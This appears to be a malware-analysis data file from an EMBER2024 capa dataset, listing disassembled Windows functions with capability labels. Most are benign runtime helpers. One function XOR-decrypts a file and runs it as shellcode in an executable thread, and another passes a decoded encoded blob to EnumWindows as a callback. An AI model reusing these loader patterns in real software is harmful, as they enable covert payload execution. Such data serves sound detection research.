joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140092d50
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rsi
mov r9d, edx
rdtsc
rdtsc
test r8, r8
je 0x140092e1c
cmp r8, 8
jae 0x140092d72
mov r10, r8
mov r11, rcx
jmp 0x140092e02
movzx edx, r9b
cmp r8, 0x20
jae 0x140092d80
xor eax, eax
jmp 0x140092dc1
mov rax, r8
and rax, 0xffffffffffffffe0
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
nop dword [rax]
movdqu xmmword [rcx + r10], xmm0
movdqu xmmword [rcx + r10 + 0x10], xmm0
add r10, 0x20
cmp rax, r10
jne 0x140092da0
cmp rax, r8
je 0x140092e1c
test r8b, 0x18
je 0x140092df5
mov rsi, r8
and rsi, 0xfffffffffffffff8
mov r10d, r8d
and r10d, 7
lea r11, [rcx + rsi]
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movq qword [rcx + rax], xmm0
add rax, 8
cmp rsi, rax
jne 0x140092de0
cmp rsi, r8
jne 0x140092e02
jmp 0x140092e1c
add rax, rcx
and r8d, 0x1f
mov r10, r8
mov r11, rax
xor eax, eax
nop word cs:[rax + rax]
mov byte [r11 + rax], r9b
inc rax
cmp r10, rax
jne 0x140092e10
mov rax, rcx
pop rsi
ret

Function at 0x140092e30
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rsi
push rdi
push rbx
mov r9, rdx
rdtsc
rdtsc
test r8, r8
je 0x140092fb1
mov r10, r8
movzx eax, byte [r9]
mov byte [rcx], al
dec r10
je 0x140092fb1
cmp r8, 9
jb 0x140092e72
mov rax, rcx
sub rax, r9
cmp rax, 0x20
jb 0x140092e72
cmp r8, 0x21
jae 0x140092e80
xor r11d, r11d
jmp 0x140092ebe
mov rax, r10
mov r8, r9
mov rdx, rcx
jmp 0x140092f0e
mov r11, r10
and r11, 0xffffffffffffffe0
xor eax, eax
nop dword [rax]
movups xmm0, xmmword [r9 + rax + 1]
movups xmm1, xmmword [r9 + rax + 0x11]
movups xmmword [rcx + rax + 1], xmm0
movups xmmword [rcx + rax + 0x11], xmm1
add rax, 0x20
cmp r11, rax
jne 0x140092e90
cmp r10, r11
je 0x140092fb1
test r10b, 0x18
je 0x140092efd
mov rsi, r10
and rsi, 0xfffffffffffffff8
mov eax, r10d
and eax, 7
lea r8, [r9 + rsi]
lea rdx, [rcx + rsi]
nop word cs:[rax + rax]
mov rdi, qword [r9 + r11 + 1]
mov qword [rcx + r11 + 1], rdi
add r11, 8
cmp rsi, r11
jne 0x140092ee0
cmp r10, rsi
jne 0x140092f0e
jmp 0x140092fb1
lea rdx, [rcx + r11]
add r9, r11
and r10d, 0x1f
mov rax, r10
mov r8, r9
lea r9, [rax - 1]
mov r11, rax
and r11, 7
je 0x140092f3c
xor r10d, r10d
nop
movzx ebx, byte [r8 + r10 + 1]
mov byte [rdx + r10 + 1], bl
inc r10
cmp r11, r10
jne 0x140092f20
sub rax, r10
add r8, r10
add rdx, r10
cmp r9, 7
jb 0x140092fb1
xor r9d, r9d
nop word cs:[rax + rax]
movzx r10d, byte [r8 + r9 + 1]
mov byte [rdx + r9 + 1], r10b
movzx r10d, byte [r8 + r9 + 2]
mov byte [rdx + r9 + 2], r10b
movzx r10d, byte [r8 + r9 + 3]
mov byte [rdx + r9 + 3], r10b
movzx r10d, byte [r8 + r9 + 4]
mov byte [rdx + r9 + 4], r10b
movzx r10d, byte [r8 + r9 + 5]
mov byte [rdx + r9 + 5], r10b
movzx r10d, byte [r8 + r9 + 6]
mov byte [rdx + r9 + 6], r10b
movzx r10d, byte [r8 + r9 + 7]
mov byte [rdx + r9 + 7], r10b
movzx r10d, byte [r8 + r9 + 8]
mov byte [rdx + r9 + 8], r10b
add r9, 8
cmp rax, r9
jne 0x140092f50
mov rax, rcx
pop rbx
pop rdi
pop rsi
ret
Function at 0x14105e108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14105e28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14105e139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14105e11f
add dl, dl
jne 0x14105e146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14105e1a6
xor eax, eax
add dl, dl
jne 0x14105e155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14105e25d
add dl, dl
jne 0x14105e166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14105e173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14105e180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14105e18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14105e19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14105e12e
mov eax, 1
add dl, dl
jne 0x14105e1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14105e1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14105e1ab
sub eax, ebx
mov ebx, 1
jne 0x14105e1fc
mov ecx, 1
add dl, dl
jne 0x14105e1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14105e1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14105e1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14105e12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14105e218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14105e225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14105e20d
cmp eax, 0x7d00
jae 0x14105e24b
cmp eax, 0x500
jb 0x14105e246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14105e12e
cmp eax, 0x7f
ja 0x14105e24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14105e12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14105e282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14105e12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x4027e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00411040]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x402800
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.004026c0
test eax, eax
je 0x4027f8
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40285d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x402854
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x4027f8
add rdx, 0x28
cmp rdx, r9
jne 0x402840
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x4076a0
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x4076f5
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x4076e0
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x407770
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
cmovl r12d, edx
mov r8d, 1
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
mov dword [rbx + 0xc], eax
add r12d, 1
call fcn.00406f60
mov ecx, dword [rbx + 8]
mov eax, dword [rbx + 0x2c]
mov rdx, rbx
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call fcn.00406b10
add dword [rbx + 0xc], r12d
mov rdx, rbx
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.004073d0
mov eax, dword [0x0040f0a0]
cmp eax, 0xffffffff
je 0x40779c
test eax, eax
je 0x40778c
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x4076fd
call fcn.0040e850
test al, 1
mov edx, 3
jne 0x40777f
jmp 0x407784
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sub.msvcrt.dll_getenv
test rax, rax
je 0x4077c4
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
setbe al
movzx eax, al
mov dword [0x0040f0a0], eax
jmp 0x40777b
xor eax, eax
jmp 0x4077b9
Function at 0x40eae0
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
mov ecx, 0xa8
mov edx, 1
mov rbp, rsp
push rdi
push rsi
push rbx
lea rsi, str.5dff652a5b0f2c7c949500a6853c852d570c583c108470b8662b470c58024c38845dff000000002e986921ab949f9894000002000c7c94ad98841f98847e9884353539845dff000000005e354a85ab94000001000c7c94012e1c1d9894a504a69535000000558eaabe2047fcff845dff000000000e530f44ab94000031881c7c84f1570c585dffb78160d22c7c9435359c13d49c13d41f9884a5350c13d45dff0000000068e96457ab94951440a60e9894000033088625a5f1a61f9884f5a0a66c98845dffb3e255be2c7c9435350500000000488a23008b84359c13d48514a5351c9884004314b457c655978735244333447654850576851556b6b4d6972497a467e6551523460524079583c407737783956507b6d4c4a67784572444a62323936405e4558657347797a696247486879376f6c4d67534960314f687376546575424c415945775d2639647746497f5f27626145757c6c476f2000000578e5dff000000006cf99875ab943530a635359c13d4000002bf0c7c941c9884a500e69687e256d6f68697d6e22756079667000000118e5dff000000007a9765a3ab9435359c13d40c13d4a5351e988435355dff706277c42c7c941e98846514004756e696e69677eb9435bd1384d5ffffffb49e21b884a59514850eff251402ce3884a51495148514a595e5851485140d10848840b8140d1094c104b84484c0b814660d10944204b844858d571d93548042c430c41f570e831c1014cad09c1c140c13846d10848843b8149cff849c13d4653e058184b80d10940204b8440d108476470c58840000008808b80000002758f020b0818718660d1084c324b80225b884151425de2e1c1014d09c1c1402c220c716c3ca0c1384a4a47bf0840527b8849c13d40225b8848125b8840625b8845665152d13842505141514000000cc8e0f4e3884cf
and rsp, 0xfffffffffffffff0
sub rsp, 0x570
lea rbx, [rsp + 0x20]
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x2a1
movzx eax, word [rsi]
mov word [rdi], ax
movzx eax, byte [0x0041056a]
mov byte [rdi + 2], al
call sub.msvcrt.dll_calloc
test rax, rax
je 0x40eba5
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call fcn.0040ea20
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov r8d, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x40eb90
mov rdx, rsi
mov r8d, 0x2a1
mov rcx, rax
call sub.msvcrt.dll_memmove
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumWindows]
lea rsp, [rbp - 0x18]
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, str.HeapAlloc_error
call fcn.0040ea80
lea rsp, [rbp - 0x18]
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, str.malloc_error
call fcn.0040ea80
lea rsp, [rbp - 0x18]
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001a010]
mov dword [rax], 1
mov rax, qword [0x14001a020]
mov dword [rax], 1
mov rax, qword [0x14001a030]
mov dword [rax], 1
mov rax, qword [0x14001a000]
mov dword [rax], 1
mov rax, qword [0x140019e90]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001e12
Capabilities:
Write file on windows

Disassembly:
push r12
sub rsp, 0x20
mov rax, qword [0x1400210e0]
test rax, rax
je 0x140001e26
call rax
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov r12, rax
mov r9, rax
call sym.fwrite
mov rcx, r12
call sym.fflush
mov ecx, 1
call sym.exit
nop

Function at 0x140004ae1
Capabilities:
Allocate or change rwx memory
Create thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x40
lea rdx, [0x140019620]
lea rcx, str.calc_x64_encrypted.bin
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x3a], 0x31353131
mov word [rsp + 0x3e], 0x35
call sym.fopen
xor edx, edx
mov r8d, 2
mov rsi, rax
mov rcx, rax
call sym.fseek
mov rcx, rsi
call sym.ftell
xor r8d, r8d
xor edx, edx
mov rcx, rsi
movsxd r12, eax
call sym.fseek
mov rdx, r12
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rsi
mov rdx, r12
mov r8d, 1
mov rbx, rax
mov rcx, rax
call sym.fread
mov rdx, r12
lea r8, [rsp + 0x3a]
mov rcx, rbx
mov r9d, 6
call sym.XOR
lea r9, [rsp + 0x34]
mov rcx, rbx
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop r12
ret
Function at 0x140004fd0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140005c02
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400211e8]
test eax, eax
je 0x140005c9a
lea rax, [0x1400211c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400211f0]
mov qword [rbp - 8], rax
jmp 0x140005c7e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140005c72
cmp qword [rbp - 0x10], 0
je 0x140005c72
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140005c38
lea rax, [0x1400211c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140005c9b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140005da0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140005dc8
mov eax, 0
jmp 0x140005e16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140005df1
mov eax, 0
jmp 0x140005e16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140005e11
mov eax, 0
jmp 0x140005e16
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140005e1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140005e9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140005e91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140005e91
mov rax, qword [rbp - 8]
jmp 0x140005eaf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140005e64
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000d814
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x14000d95e
mov rcx, qword [rbp + 0x10]
call sym.pthread_spin_destroy
cmp eax, 1
jne 0x14000d951
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov word [rbp - 8], 0
mov byte [rbp - 6], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x14000d907
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x14000d91d
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x14000d903
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x14000d93c
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sym.abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x14000d95f
nop
add rsp, 0x90
pop rbp
ret
Function at 0x14000e97b
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_TlsAlloc]
call rax
mov dword [0x140018350], eax
mov eax, dword [0x140018350]
cmp eax, 0xffffffff
jne 0x14000e9a2
call sym.abort
nop
add rsp, 0x20
pop rbp
ret

Function at 0x14000eb55
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x140021c70]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x140018350]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14000eba8
mov rax, qword [rbp - 0x10]
jmp 0x14000ed08
call sym.pop_pthread_mem
mov qword [rbp - 0x10], rax
mov rax, qword [sym.__dyn_tls_pthread]
test rax, rax
je 0x14000ebc4
cmp qword [rbp - 0x10], 0
jne 0x14000ebce
mov eax, 0
jmp 0x14000ed08
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call sym.replace_spin_keys
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x14000eca9
call sym.abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x140018350]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x14000ed04
call sym.abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14000ee02
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call sym.__pthread_self_lite
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x14000ee6f
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x140018350]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14000efb3
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x14000ef0c
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x14000eec7
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 0x10], 0
mov eax, dword [0x140018350]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x14000efb3
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x14000ef46
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x14000efb3
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 0x10], 0
mov eax, dword [0x140018350]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop